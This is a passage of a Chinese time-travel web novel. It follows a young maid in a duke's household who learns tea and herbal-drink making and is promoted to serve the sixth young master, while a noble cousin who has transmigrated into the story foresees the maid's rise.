惜娘心想大伯母把这个消息告诉她们后,她娘才真正开始对大伯母好的,以为她很为自家着想。实际上大伯母完全可以举荐自己,毕竟当时灾年,自家送米送粮的,算是救了他一家三口。 若自己不知道这个真相,恐怕大家都乐呵,一旦知晓这个真相,她就觉得吃了苍蝇似的。 9.穿书女 高小姐名叫柳娘,穿的十分寒素,因她是原配高氏夫人的内侄女,而徐二小姐的生母方姨娘又是高氏曾经的陪嫁,故而便把高小姐安排到了徐二小姐那里安置,她十分安静的住了下来,她弟弟也在徐家族学读书。 比起高小姐,显然这位国公府正派钟家表小姐存在感强多了,惜娘她们这样的小丫鬟,没资格到太太屋子里伺候,但隔着门缝见了一眼,钟小姐不过和自己年岁一般大,但款款走来的模样,当真担得起“秀色掩今古,荷花羞玉颜。” 高小姐那里,国公府并没有派丫头过去伺候,只有她身边自己带着一个小丫头,钟小姐那里就不同了,老太太亲自把身边的丫头拨了过去,还有教她们规矩的钱嬷嬷等人也过去做了教引嬷嬷。 惜娘她们帮钱嬷嬷等人送东西过去,不曾想发现何俏被派到钟小姐这里做了大丫头,还改了名字,叫瑶琴。 钟小姐住在老太太后院的三间屋子里,这里布置的很清雅,看得出来,老太太对表小姐的喜爱。 紫檀木的架子床没有繁复赘余的雕花,床帏挂着黛青色暗纹纱帐,两边用细细的银钩挂着,床褥垫的是牙白色锦缎,一床月白色的被褥叠好放在里侧。 钱嬷嬷转过头对二喜和喜娘道:“你们先回去吧。” 惜娘她们放下东西,就先出去了,老太太这里一个人住着院中院,差不多有三进大,据说六少爷也住在这个院子里住。 从老太太的院子里离开,见到两个小丫头跪在屋檐下,走近一看,甚至是跪在瓦片上,惜娘“嘶”了一声,对二喜道:“看着就疼。” 二喜小声道:“这是大奶奶这里的丫头,你别看她在太太面前很会奉承,实际上规矩大的很。” “看的出来。”惜娘的亲娘就曾经是大奶奶小程氏的大丫头。 丫头们无事是不许随便出门的,所以回到太太房里,惜娘就去了锦绣房里,帮着做绢帕,先要裁一叠出来,再开始绣一些花草在上面。 也因为她在家里学过,又跟着嬷嬷们学了,所以绣功见涨。 锦绣作为大丫头,还是很有风范的,她今日不当值,回来正和惜娘道:“你这些帕子好好绣,若是太太那里说好,正好我就推举你出去。” “那就多谢锦绣姐姐了,我们现在哪边都不靠。”惜娘当值了一个月都没有发工钱,倒不是人家不给她发,而是她们现在身份未明,不知道到底是哪里的丫头,按照几等算。 丫头们也有四季衣裳、鞋袜,甚至还有脂粉、针线、灯油,过节还有赏钱,她们现在什么都没有,都胡乱来的。 锦绣道:“你们无论如何,也是大太太让进来的,到时候大太太那边自有区处,别担心。” 在锦绣这里绣了一会儿,多余的她拿回去做,二喜和爱姐正在打闹着玩儿,看着她拿了这么些过来,都报以同情。 但爱姐又有些挑拨的语气:“你呀,做了这么些,万一人家到时候都不报你的名字,如何是好?岂不是白做了。” “这有什么的,我原本也只是个小丫头,什么都还没学会,哪里有露脸的机会?”她前世帮人扎针是出了名的好,甚至比许多老护士还好,还不就是扎的多了,唯手熟尔。包括她爹,为何能升副总管,就是因为让许多官在国公爷那里,或者总管事那里提他一两句,只要有人提,就有机会,他爹不就是把握住了。 即便锦绣不提,她现在正是练手时,把自己手艺提高也是好事。 不过,她现在还是个小孩子,也不能晚睡,绣完两方,也就睡了。 早饭吃完之后,惜娘就继续在房里做活,她是非常认真的,对什么二小姐、五小姐、大奶奶、二奶奶来请安都波澜不惊。 在她看来,她日后拨到哪里去,大太太自然会有安排,与其找路子,不如先提高自己。 否则,一个小丫头,四处献媚,有那多事的多嘴一句,她就完蛋了,她虽然是家生子,但并非是大太太这边的人。 不能轻易站队,否则还没开始,就结束了。 等帕子都做完,已经是七日之后了,惜娘送到锦绣这里,锦绣下午就和惜娘道:“我已经和太太说了,说都是你绣的,太太赏了一碟糖酥酪过来,等会儿你去我那里吃。” “谢谢姐姐了。”惜娘想锦绣不出错,看似平平,却能混到大太太身边的大丫头,还真是不一般。 能够稳定给下面的人出头,这样才能笼络底下人做事。 糖蒸酥酪是用牛乳做的,跟双皮奶的味道很像,上面还淋了一些桂花蜜,更增添了些口感。这份甜食,让她吃的很开心。 京城,就已经开始冷了,惜娘她们也没人发话让她出去,她没法出去拿衣裳,只好等邓福家的来了,让她帮忙跟她爹说一声。 邓福家的哪里把惜娘一个小丫头的事情放在心上,惜娘等了三日,就和锦绣说了,锦绣则带她去找大奶奶房里的海棠,让她跟二门上的小子们说一声,她的被褥、棉袄才送过来。 万氏在家担心的不行:“咱们女儿怎么还要讨铺盖,难不成去做粗使了?” 何大魁摇头:“我去邓福家的那里问了问,她说她也不知道,大太太只是让她们先学规矩,但惜娘就跟着大丫头们做事。” “这样不上不下的,又算什么。” “若是一下就分走了未必是好事,万一像俏娘那样分到了表小姐那里可怎么好?三弟他们夫妻倒是抱怨,说好容易塞到老太太那里,却去了表姑娘处。”何大魁摊手。 万氏想:“咱们这些为奴为婢的,自己真是做不得半点主。” 这句话触动了何大魁的心思,他现下作为副总管,也接触了不少那些总管,可是那些人赚的钱,都是跟蚂蚁搬家似的,几乎是对镇国公府侵吞蚕食,满足他们自 己,但即便这样,他们也是要卑躬屈膝。 何大魁也不说自己高风亮节,但靠着挖人家墙角肥己的事情,他不愿意做那么过分。 如果他出生在一个军户家庭,指不定比现在好,人穷一些不打紧,只要有本事,照样能照顾好妻儿,但是像现下这样,女儿一进府,就是全权由主子们裁夺,生死家里人管不着。 他如果也能脱籍就好了,想到这里,何大魁都被自己的想法惊了一下。 比起何大魁这般想,何俏已经完全适应伺候钟小姐了,老太太对这位外孙女十分垂爱,平日穿戴都比照家中几位小姐,甚至更甚,再有六少爷,如今也住在老太太这里,常常过来说话,她这个做丫头的,倒比在老太太那里有地位多了。 “小姐,这是银耳莲子羹,秋干气躁的,正需滋补一下。”何俏用一个填漆的菊花纹样的托盘端了进来。 钟闰之道:“放下吧。” 只见何俏把小盅放下,又在外面拿了勺子、碟子、漱盂、巾帕依次放好,方才退到一边。 钟闰之低头品尝美食,心想不愧是国公府的甜汤,就是与外面的不同。她也没想到她因为常年熬夜看追剧,结果心律不齐,植物神经紊乱,甚至最后因为免疫力低下得了病住院,在住院时,她难得看完一本,不曾想就穿越了过来。 但她穿越的根本不是真实的朝代,而是一本书,这本书叫《福妾攻略》,说的是一位叫高柳娘的小姑娘,因父母双亡,被族中欺压,带着弟弟投奔国公府。 本以为国公府能够安稳长大,将来姐弟二人过好日子,不曾想是陷入狼穴,后入虎口。 国公府的大小姐嫁给三皇子为正妃,前期夭折了几个孩子,为了固宠,便选了高柳娘做妾侍,以此为条件照看她的弟弟。 当然高柳娘开始一系列的从妾,最后问鼎皇后宝座的故事。 而她钟闰之则是她一开始的对照组,正派的镇国公府表小姐,虽说性情骄纵,但是一路有外祖母保驾护航,即便大舅母不喜欢她,最后也嫁给了表兄,只可惜真正嫁过去之后。 也正是因为钟闰之嫁人前人生太顺了,嫁人之后,外祖母过世,婆母对她很不喜,低下的妾侍本是家生子,在府中根深蒂固,早她生下儿子,二人斗了几场,最后她死于一场精心设计的难产。 而镇国公府因为三皇子妃斗不过高柳娘,镇国公府深受皇帝所恶,甚至还因为国公府二老爷投靠六皇子,镇国公府被削爵,也因为如此,和钟闰之斗的那个妾最后靠着儿子扶正。 最后高柳娘登上后位的时候,说起镇国公府旧事的时候,还意味深长的道:“真是塞翁失马焉知非福,我虽然历经磨难,但最后做了皇后,钟闰之当年受宠至极,天之骄女,最后六表弟过世,那妾的儿子立了大功,给自己爹的墓碑上只写自己生母名字,丝毫不提她,就跟消失了似的。” 10.不积跬步无以至千里 有家里送来的棉袄,惜娘身上暖和许多,人也舒展了很多,晚上还能在被窝里打个滚儿。二喜的姐姐大喜在厨房做工,有好吃的总会被妹妹一份,二喜常常偷偷吃完了再回来,惜娘也假装不知道。 二喜找了些话道:“方才见到高小姐了,二小姐那边的人都在说她,一文钱的赏钱都没有。亏得太太和大奶奶心慈,都送了袄儿去了,要不然一个小姐可是真寒碜。” “再怎么寒碜,总比咱们好,太太和大奶奶总不会看着她受寒受穷的,还是多想想我们自己吧。”惜娘抿唇。 爱姐也从被窝里伸出头来道:“是啊,说是跟着教引嬷嬷们学规矩,可才学了一个多月,都去钟小姐那里做教引嬷嬷了,咱们彻底的成了孤魂野鬼。” “嘘,小点声音。”惜娘道。 爱姐叹气:“亏我娘还以为我到太太院子里发达了,哪里知道我们现在的处境,我都不知道如何说了。” 几人说了几句话,又昏沉沉的睡下了,早上起来时粗使婆子和丫头们已经把地上厚厚的落叶扫的干干净净。 福月拿了燕窝来,让她们挑毛,还道:“这是太太要送到公主那边去的,马虎不得,我若非要伺候太太去,这事儿也不要你们做。” 她扔下燕窝走了,众人心知肚明,她这是把活计推给她们。 古代要吃一盏燕窝可不容易,要先用清水泡发,把那些里面的大毛、杂质先筛一遍,再要用那细细的银针一点点挑,用镊子夹出来,硬是要一点点的绒毛、黑点都不能够有。 她们三个在这里挑燕窝毛,一条就是挑四个时辰,也就是八个小时,也不过只能熬得三四盏。 到中午吃饭,才稍微休息了一会儿,福月就来催了:“你们吃饭怎么吃这么久啊,真是懒驴上磨屎尿多。” 惜娘想难怪人人都想往上爬,成天脏活累活她们做,讨好却是别人,也是烦躁。 这燕窝挑到了吃晚饭的时候,福月又拿去了厨房,厨娘也是熬炖了好几个时辰,次日大太太去公主府的时候,正好赏花时,给公主和府里徐老夫人吃,还赏给了大奶奶小程氏。 福月回来得了赏赐,惜娘在锦绣这里听到了,就把她们三挑燕窝的事情说了,锦绣抿唇:“她好歹也该把赏赐分些你们才对,但你知道的,我和她都在太太面前伺候,实在是不好说什么。” “我懂。”惜娘只是把这话说出来,她现下对付不了锦绣,但是给锦绣捏个把柄。 锦绣见惜娘这般信任自己,倒是有些不忍:“我告诉你一件事,你可不许对外说啊。” “不知道是什么事情啊?”惜娘想肯定是和自己有关的。 锦绣便道:“我昨儿见太太在公主府那边,听说那边的大公子十岁就自己出来开院子,太太就说六郎也差不多了,只是老太太舍不得。但老太太总不能一直把六郎拘在后院吧,所以我想你们几个到时候指不定是伺候六郎去的。可是到底是何时,这我也不清楚,你心里有数就成。” 六少爷徐士载,惜娘见过几个,养的跟凤凰蛋似的,胆子不大,倒是没听说过责打下人什么的。 不管了,现在有个部门能上班就成。 打工人哪里有那么多选择。 既然六少爷是大太太的宝贝蛋,也受老太太的宠爱,还是皇子妃的亲弟弟,某种程度来说,比世子地位更尊贵,自己在那里伺候,不求做顶尖大丫头,但能够混个中上游,得个赏赐就很好了。 二人说了会话,外面说大奶奶过来了,锦绣赶紧去前面候着,惜娘则观察着大奶奶小程氏的相貌,她约莫二十几岁的年纪,当真是美而艳,头上戴着珍珠五凤冠,身上穿藕色红的绫袄,底下穿柏绿色的裙子,中间又系着两条宫绦,袖口裙襕皆绣了繁复的牡丹花儿。 小程氏也不知道大太太喊她过来什么事情,还心中有些不快,毕竟这些年,她自从生了姐儿之后就没有生育,虽说婆母不插手她房里的事情,但是万一送个丫头来,如何得了? 正思忖如何应付,没想到大太太想的是另一件事情,她进门之后生了长女,过了些年才生下这个小儿子,视若珍宝,但是到底儿子大了,不能总在老太太那里,得搬到外院了,可那样急匆匆的去说,老太太肯定不同意。 不如先把院子收拾出来,和国公爷说一声,到时候再让老太太放人。 否则,老太太万一用拖字诀,借由院子说事,这可就不好了。 小程氏见大太太说的是为六少爷收拾屋子的事情,心里暗自松了一口气,忙拍着胸脯道:“太太放心,那太白院单独的两进,离您这儿也近,到时候六弟请安也便宜。” 大太太听了也很欢喜。 就在小程氏忙活的时候,因有几日钟小姐、高小姐还有二小姐、五小姐、六少爷一起过来大太太这里吃饭,茶房忙的紧,惜娘便主动去茶房帮忙。 她想人无论在哪里,都得有自己独特的优势才对,她针线活虽然还可以,但天赋不高,顶多日后就是个中上的水平,但是钱嬷嬷教她烹茶的时候,她就发现自己似乎更擅长烹茶,所以主动到这里帮忙。 别看这小小的烹茶,可是非常讲究的,就说火候,水初沸时,像蟹泡眼似的,泡泡很小,这叫嫩火,泡绿茶、花茶最好,若是火候似鱼眼连珠似的,就是中火了,泡铁观音就很好,自然,沸水不停地翻腾,便是老火,可以泡岩茶。 这些理论她在钱嬷嬷那里学过,在茶房帮忙就格外留心。 “何三姐儿,你把陶瓮里的水拿来,今儿二太太要过来,那里是我藏的春天的雨水。”茶房的小多儿道。 小多儿性情不讨喜,爱使唤人,人还颇有些刻薄,但是她烹茶的手艺堪称一绝,太太很喜欢她烹的茶。 惜娘应下,又用葫芦瓢打了水来,见小多儿冲那雀舌芽的时 候,只放三分满,壶提的高高的,快速冲了下去。再有小姐们爱喝的木樨花茶,则是缓慢的绕着冲水。 倒完茶后,还要用专门的手巾抹去水渍,惜娘暗自点头。 这小小的茶房,还有不少平日采摘的花,花茶则是茶叶和花三比一的比例就刚刚好。 “小多姐,我看那里不是有大的茶盏子么?怎么都用这么小的茶盏啊?”惜娘故作不解。 小多儿就道:“那茶杯太大了,你啜过几口,里面却还剩余茶,放一会儿就不是那个味道了。” 也因为惜娘帮她洗茶盏、茶瓶洗的多,平日不多问,也不爱出头,甚至都不上前揽功,小多儿觉得她是个老实憨厚的人,故而多说几句。 反正这样的人,就是做的再多也不会抢自己的风头。 甚至小多儿回去看她娘的时候,茶房里惜娘都没有往前,她才放心,但其实她一直在跟小多儿学,比方太太咳嗽的时候,惜娘见她用松子仁、胡桃肉,在开水里浸泡去皮,各自用一两,蜂蜜半两,研磨碎了,再放蜂蜜调和,用开水冲服就是。【1】 惜娘故意道:“这也太费神了,有点麻烦,小多姐,你自个儿做吧。” “这就麻烦了,你是没见每次六少爷来,要吃茉莉汤呢?那才麻烦的紧。”小多儿摇头。 惜娘故作不在意:“快别和我说了,说实话,你每次要我烹茶,我当时还记得,一回去,我就忘了个精光。” 说罢,故意在台子上画花样子。 很快六少爷因为入冬着凉,要喝茉莉汤,小多儿就展示了一番,她先去国公府的暖房里采了二三十多茉莉花,又把一个碗里放蜂蜜,在碗里抹匀,不让它滴蜜下来为好,再把蜜碗扣在那里,用花香薰蜜,这样差不多盖五六个时辰,再用开水冲碗里的蜜,虽碗里无花却有花的清甜。【2】 除了小多儿这里,惜娘找锦绣拿了些碎布,一点儿绵,做了护膝给钱嬷嬷去,也让钱嬷嬷教她一些烹茶的法子。 “小多儿姐姐总有些防着我,还是跟您学,学的更好些。”惜娘道。 钱嬷嬷道:“小多儿指着那个吃饭呢,哪能都教给你,不过她这人也真是,十七八岁的人了,迟早要出去配人的,何不结个善缘?” 钱嬷嬷就觉得自己在结善缘,她看出惜娘好学,但不强出头,是个有本事的人,上回她带了孙儿进来,惜娘还教孙子读书,钱嬷嬷就教了惜娘两样她的拿手绝活,一样是青脆梅汤、一样是解酒汤。 惜娘会写字,正好把钱嬷嬷说的步骤记下来,甚至自己操作了几遍,方才满意。 没有学茶之前,惜娘只觉得茶嘛,不就是撮取些茶叶放茶盏里,弄点热水就成,现在看来药食同源,像砂仁熟水的香气,是可以消除壅滞和胸膈淤堵之气,三妙汤能够益气养血,水芝汤可以补气血虚弱。 人在沉寂的时候,一定要想办法多学才行。 11.小荷才露尖尖角 头一年入府,也不知道能不能回去过年?但是如果大太太没有发话,她们都不敢轻易打听,惜娘也想家,可是她学茶汤已经学到走火入魔了,尤其是锦绣有一次来茶房,见小多子不教惜娘,看不过去,说了小多子几句,她方才教她制茶汤。 这也正合了惜娘的意,有些事情多不如精。 年底,大太太这里的访客不少,茶房当然很忙,要有看炉子、洗茶盏、烹茶的人,茶房原本是小多子和一个叫茱萸的小丫头打小手,但这个丫头上回被滚水烫了之后,一直畏热水,只有惜娘还算机灵,敢烹茶。 比起惜娘在茶房苦苦学手艺,她同屋另外两个丫鬟也是忙碌,二喜还好,常常溜去前面厨房,让她姐姐塞些吃食,打打牙祭,爱姐则还要帮福月做鞋。 难得三个人都在房里,她们做小丫头的炭少,索性都窝在被窝里,这样也暖和许多。 “我想我娘了,这个时候,她肯定在家做年夜饭呢。”惜娘抱着膝盖想道。 二喜看了她一眼:“谁说不是呢,往年我家里也热闹呢。” 爱姐倒是笑道:“我爹娘过年照常也要上工的,平日我多半也是和我爷爷在家里,所以我没什么感觉。” 说是没什么感觉,实际上爱姐看起来也是很怀念。 惜娘不想陷入这种太过凄凉的氛围,又笑道:“看我,一句话倒是惹得大家心情都不快,咱们还是先好好跟着这里的姐姐们学规矩,等日后,真正开始上差就好了。” 其实二喜已经知晓了,她娘是大太太的陪房,消息肯定会比惜娘灵通,等五少爷有个单独的院子,她肯定是要去伺候的,如今不出错就成,成算比惜娘和爱姐大,所以老神在在。 虽然晚上有些想家,但是年底得了赏钱,她还是很欢喜的,这是她在古代意义上真正赚到钱了。 翻着小小的钱袋子数了好久,还被二喜嘲笑:“这点钱,也值得你这样。” “你不知道,咱们进门好几个月了,什么都不是,我心里着急,如今看太太赏钱给我们,我想不管怎么样,到时候有个差事就好。”惜娘笑道。 “你也是没出息。”二喜摇头。 过年时,她们去小厨房提饭,这几日的菜色都不错,惜娘还分到炸的带鱼,小块的排骨,她在茶房吃了个满饱,自己给自己煎了点黄梅汤喝,很惬意。 却见何俏探头进来:“你在这里挺逍遥的啊?” “你怎么来了?我逍遥什么,还不是这里帮忙,那里帮忙,还不知将来去处呢。”惜娘招呼她坐下。 何俏见堂妹这番处境,先是安慰几句:“总归日后总有个去处的,不必忧心。”但又很明知故问道:“你得了几个锞子啊?我得了两个金锞子呢。” “我,我不过得了一百个钱,一碟果子罢了。”惜娘道。 何俏又各种熬鸡汤,惜娘从一个罐子里挖了些橘泥出来,用滚水冲了一盏橘汤给她,才知道何俏陪着钟姑娘过来的。 这茶只吃了半盏,何俏推说要伺候姑娘,就先走了。 小多子一贯刻薄:“同样是丫头,你这位堂姐倒是混的很好,谁不知道老太太最疼钟姑娘和六少爷。在他们身边伺候,那可真个是一飞冲天。” 惜娘则道:“你也不差啊。” “我拿什么和她们比。”小多子撇嘴。 惜娘心想这个人坏就坏在什么心思都浮现在脸上,她觉得自己在茶房累死累活的,反倒是赏赐不如几个大丫头多,也不如她们有地位,心里总嫉妒的很。 不过,这也给自己提了个醒,虽说在会茶艺很重要,但是不能真的跟小多子似的,还是要往大丫头这个方向奔。 她二人在里面说话,茱萸在焙茶,外面却见一个小丫头子过来道:“我们高小姐想吃一盏茴香汤,还请姐姐帮忙。” 小多子道:“那怕是要等一会儿了,我们这里还要泡太太那里的茶呢,就这个两个人,还忙不过来。” 那丫头又陪着小心,从袖口拿了二十个钱道:“给几位姐姐买果子吃。” “不用不用,你们也不容易。”小多子看不是这点钱,钟小姐随便一赏就是一串钱,二十文竟然拿的出手。< /p>惜娘等人也只能眼睁睁的看着那丫头又气又恼的出去了,国公府内院有这样专用茶房的,只有徐老夫人、大太太、二太太、世子夫人,旁的都没有,平日她们不过一个小红泥炉,撮茶罢了。 高柳娘的丫头回去,见小姐因为小日子初来,疼的辗转反侧的,不由掉下眼泪来:“茶房那起子小人真是狗眼看人低,茴香汤也不帮忙做,我给了赏钱,她们也没个好脸。” “那就算了。”高柳娘从小爹娘虽然并非娇宠长大,也是很疼她,她今年十一岁,不曾想月事就来了,只不过初肚子很疼,所以想喝茴香汤舒缓一二,不曾想如此。 小丫头道:“不成,我还是去一趟。” 她这一趟来的时候,幸好遇到的是惜娘,小多子早就出去找人说话了,惜娘就答应了,但她道:“之前存的茴香末儿用完了,我得重新做,可能要费一些功夫。” 这茴香汤药用茴香、椒皮六钱,炒盐二钱,熟芝麻半升、炒面一斤,放在一起研磨成末,再用开水泡开,就让高柳娘的丫头端回去了,后来高柳娘让人拿了一对绢花给她。 这些暂且不提,却说年过完之后,小多子早就按捺不住,跟太太说了给了一日假,回家探望她母亲。 偏偏也是惜娘的机会来了,到了春天,六少爷要吃茉莉汤,太太特地让人到茶房来说了,惜娘早已学会了,次日一早到暖房摘了茉莉花制作,又亲自端茶到上房。 大太太还奇道:“小多子不是家去了吗?这是谁烹的。” 锦绣笑道:“是新来的何家三姐儿。” “是耳垂大的那位吗?”大太太道。 锦绣点头:“正是,她这一向跟着我们学规矩,学的极好,也不抢人家的风头,就那样默默做事,都说她老实的很。” 大太太道:“昔日人家说二喜、爱姐几个不错,但我看这何二姐不声不响,针线也好,烹茶也做的很好嘛!难得年纪小,这样的踏实。” 这般,惜娘就得了大太太赏的一身衣裳,月白绫衣裳,青缎子的比甲,锦绣也送了一根银簪给她。 12.终于上班了 古代和现代不同,自从现代网购发达之后,大家衣服真的是穿不完,年年穿新衣服,但古代的衣裳某种程度还能算作一笔财产,有些人家穷的时候,好料子的衣裳都能当钱,她娘万氏便是如此。 说起来,她家里住的那个地方实在是憋仄又小,夏天的时候西晒,人不得安生,还有爹娘住的屋子,窗棂总是吹的呼呼直响,日后得换个大屋子才好。 实际点来说,自己若能上工多一份银钱,甚至哥哥也上工,一家就有三个人赚钱,换大一些的宅子指日可待。 因为惜娘没有回去过年,家里很是担忧,但是何大魁不好过分打探,怕适得其反,只得安慰妻子:“这也是没办法的事情,只要惜娘在里面好,就比什么都强。” 万氏则道:“我知道,我哪里能不知道这个道理呢?” 何大魁则道:“松儿那里也要进府了,我托人去三太太那里说,她说人都满了,就不必了,正好长房缺个打杂的,咱们儿子至少读过两年书,也专门学过算账,算盘打的也还溜,他若是能够在账房扎根,日后我就不必愁了。” “本以为三太太那里好进呢?”万氏真是没想到。 何大魁笑道:“这倒也罢了,等松儿进去后,我再请一位大夫过来帮你看看病,你白日就不必多做家务,在家多休息吧。” 万氏叹了口气:“你们都去上工,倒是专门留我一个人在家里,我总归还是害怕的。” “你放心,我每日早些回来陪你,横竖我是不必值夜了。等再过几年,女儿求个恩典放出来,到时候你们母女就能一起了。”何大魁知道万氏是舍不得儿女,没有儿女在身边,总是很寂寞。 也只能这样了,她们又不能自己决定孩子如何。 很快,何松也去账房上工了,他也是新去,不能随便回家,倒是他那皮猴子的性子改了很多,也沉稳了许多。 再说惜娘这边,因为得到大太太赏识,那小多子不阴不阳了几日,惜娘直接跟着锦绣做女红,反正她现在还没编制呢,跟谁做事儿都是做。 反而呢,是小多子自己先扛不住了,她茶房看似有两个嬷嬷两个丫头,一共四个人管,但那些嬷嬷们还要挑水端茶,而且年纪大了,记性不是很好,爱在茶房说是非,茱萸不敢碰滚水。 只有惜娘,教一遍就会了,年纪小很用心,而且非常麻利,从来没摔过盏子,无论是泡茶还是茶汤都做的很好,帮了她很大的忙。 小多子打算找惜娘回来,不曾想惜娘她们哪里还在这里,六少爷徐士载正式从老太太那里搬到了太白院,老太太遣了一个大丫头来,永嘉公主送了一个来,大太太这里就让她们三个都过去了,并正式定了等,老太太屋里那个是一等,永嘉公主送的是二等,至于二喜和惜娘也是二等,爱姐则是三等丫头,据说二太太那里也送了也丫头充作三等。 那太白院还有两个粗使丫头,两个嬷嬷,可谓声势浩大,惜娘等人先提着行李过来,唯一高兴的是她们两个人睡一间房,屋子里还有柜子,可以把衣裳物件儿放进去。 不过,她就不和二喜爱姐一个屋子了,而是和永嘉公主府送来的那个丫头住在一起,这个丫头是标准的鹅蛋脸儿,容貌生的极其的好,仿佛玉人一般,惜娘见过的这些丫头里,都没有见过这么打眼的。 何俏跟她比,都显得平凡了些。 六少爷还是个少年,人倒是很和气,惜娘和丫头们都乌泱泱的跪在一处,大家先见了一面,没想到大太太就给各人改了名字。 除却大丫头琳琅之外,二喜改名琇云,她同房的公主府丫头改名璎珞,而她则叫珊瑚,爱姐叫银翠,二太太送来的丫鬟叫银钏。 另外还有两个七八岁刚留头的粗使丫头桃儿、杏儿。 众人互相厮见一番,琳琅的确很有一等丫头的风度,很稳重也很周全,她先问大家:“老太太、太太那边说咱们这儿缺什么?我一时也想不到,你们也快想想,若不然定了下来,再去说就不大好。” 惜娘点头,忍不住道:“这倒是。”她也先说了,“我在大太太那里的时候,会煎几样汤,泡些茶水,虽然算不得精,但是我想有个茶炉子很好。” “茶炉子是肯定有的,哪个院子都有,依照我看,西耳房也有小小一间,我真想着要做什么,不妨改成一间茶房,平日里咱们吃茶也便宜。”琳琅道。 惜娘笑道:“那就再好不过了。” 琳琅又问众人,大家也各自说自己擅长的,琳琅能满足的都答应,她自己去和管院子的嬷嬷们去周旋。 惜娘又和这里的老嬷嬷们说,让她们帮忙带个口信给她爹,就说她在六少爷这里当差,请她们不必担心。 万氏和何大魁倒是很开心,只要不奔着做人家的姨娘,到时候女儿大了争将出来就好,不过何大魁道:“这也得我有体面才行,否则主子们随便配人可不成。” “你现下已经升了副总管了,要升正总管可是难呢。”万氏道。 何大魁笑道:“熬些资历罢了,咱们女儿倒是真的争气,一下就成了二等丫头,我做父亲的也是脸上有光啊。亏大利夫妻在我面前炫耀俏姐儿在表姑娘那里,咱们女儿后来居上了。” 万氏则道:“也不知道咱们女儿何时能回家一趟,到时候我还有话嘱咐她。” 何大魁道:“你还是先在家好好服药,把你的病彻底治好,以前咱们家没那个条件,如今正好了。” “相公,若是没有你,我怎么办呢?”万氏真的觉得何大魁样样好。 难得把何大魁这样大方的人都闹了个大红脸。 再说惜娘也逐渐开始了自己二等丫头的生涯,因为六少爷卯时中(六点)还要读书,所以每日早上她们寅时末(凌晨五点)就得起床,一个丫头要准备热水、巾帕、漱口、面盆,另一个丫头还要帮忙穿衣服梳头,还要备下早茶点心。 头一日,大家都有些手忙脚乱的,幸亏琳琅分派任务,也提前喊了六少爷起床,衣裳都穿的差不多了,她们在旁边递帕子就好。 惜娘的小茶房的器具都准备 好了,也有煮水的银壶、锡壶、紫纱壶,一个白瓷风炉一个铜茶炉,一口干净的水缸,四套茶盏自用,待客六套,再有茶柜、茶叶,焙炉、香炉、花几等等,也算是一方小天地。 等六少爷去外院读书,她们才安静下来。 二等丫头的吃食也比之前好一些,一样细粥,小块细糕,两碟酱菜。 吃完早饭,惜娘进去和琳琅等人一起整理少爷的床铺,还要把衣裳、巾帕送去浆洗,大家都在忙的时候,璎珞是不怎么动弹的。 惜娘摇摇头,看琳琅行事,她把那佛手香橼用一个豆青色的青瓷盘子装上,放在书案前面,她还吩咐惜娘道:“那鹅梨得切瓣去核,六郎回来的时候吃。” “是。”惜娘想她是从来不知道六少爷的习性的,最好还是不要触了人家的霉头,所以多看琳琅行事才好。 琳琅又笑道:“我这里没什么事情了,你下去歇会儿吧。” 惜娘当然不是没有成算的人,她见现下青梅正有人送过来,遂想起钱嬷嬷教她的青脆梅汤,便在茶房做了一些放坛子里,中午狠命歇了中觉,醒来时见璎珞还在睡,她就笑道:“你比我还能睡啊。” 之前惜娘前途未定,成日提心吊胆,但现下大局已定,太白院的丫头不少,活计算不上很多,她毕竟还是个孩子,当然需要睡眠,所以找机会都会歇息睡觉。 璎珞却道:“现下没什么大事,不歇着做什么,更何况还有你们呢?要这么些人做什么。” 惜娘笑了笑,没说话。 不是说谁天生做奴才的,但拿了人家的工钱,至少也要名副其实才行。 正式做了六少爷的丫头,府里也替她们都做了衣裳,惜娘得了一套银红薄绸衫子,一套水红罗衫,还有大太太又赏了她一身藕荷色的衫子。 之前家里送过来的衣裳都穿的发白了,如今一下多了三套衣裳,惜娘想起走过的路,虽然不过短短几个月,都觉得很唏嘘。 “珊瑚,你发什么呆呢?钟姑娘来了,琳琅那里让你奉茶呢。”璎珞道。 惜娘只好去了茶房,撮取了一些雨前龙井,提壶从高处缓缓注水,注到七分满,盖上盖碗,倒了第一泡,有继续分茶,到了第二泡,才用托盘端了过去。 钟闰之正和琳琅说话,她是来等六少爷下学后,一起去老太太那里吃饭,虽说她不打算这辈子嫁给徐士载,但是徐士载对她很好,大家做兄妹还是可以啊。 听琳琅道:“钟姑娘,咱们珊瑚泡的茶可是一绝。” 钟闰之却十分惊讶,她没有想到面前的这个丫头就是珊瑚,论人才,琳琅真个是面面俱全,为人也有雅量,论相貌,方才在这里的那个叫璎珞的丫头,真是相貌极好,多少小姐都不及她容貌,更别提琇云真是机灵。 而面前这个穿藕荷色衫子、白领裙子,头上只簪两朵粉绢花的姑娘,说话一板一眼,并不讨巧儿,为人老实勤恳。 这样的人怎么会最后在群美中脱颖而出,最后做了徐士载的妾,甚至还扶正有诰命了呢? 13.站错队了 “这雨前龙井着实泡的不错。”对于未来的狠人,钟闰之无意交好,但也不得罪,还赏了惜娘一百个钱。 惜娘连忙谢过,又先退出去,回到房里,把钱塞到钱匣子里,用锁头锁上。 她已经得了一个月的月钱了,一吊钱约莫一千文,这比她爹的月钱还高,而一等丫头琳琅则是一两。 一两当然是略高于一钱的,惜娘记得自己两岁时,她爹说一两能兑一千三百文,如今更是能兑一千六百文。 但她已经很满足了,自己经过好几个月在大太太那里拼命表现,算是得了这个二等丫头的缺,日后若是能这样躺平,倒也算不错了。 前世她熬了太多的夜,无论是读书时期还是工作上夜班,都熬的不胜烦扰,在这里能躺平就好了。 晚饭,六少爷是在徐老夫人那里吃的,琳琅点了她和琇云、璎珞三个,四个人一道过去。 徐老夫人是个很会享受的人,她的院子在镇国公府的中轴线的最深处,院子里遮阴蔽日,雕梁画栋,既显得清雅又华贵。 六少爷往那翠青色的弹墨引枕上靠着,现在在这里很惬意,正和徐老夫人说着日常,钟姑娘也是妙语连珠,逗的徐老夫人很开心。 惜娘却悄悄换了换腿,对她们的话题没什么兴趣,她自己还没吃饭,肚子饿的咕咕叫,却要看人家吃香的喝辣的,这无疑是一种折磨。 还好贵族之家,礼仪还是很好的,食不言寝不语,吃完之后,她们捧了漱盂茶水来,六少爷漱口之后,又陪徐老夫人说了几句话,一行人方才跟着回去。 沐浴的事情是三等丫头伺候的,晚上多半是琳琅守夜,惜娘乐得自在,就先回房擦了擦身体,看提盒的饭都冷了,去隔壁茶房升了炉子,热了饭,吃了一些,上床睡觉,毕竟每日还要早起的。 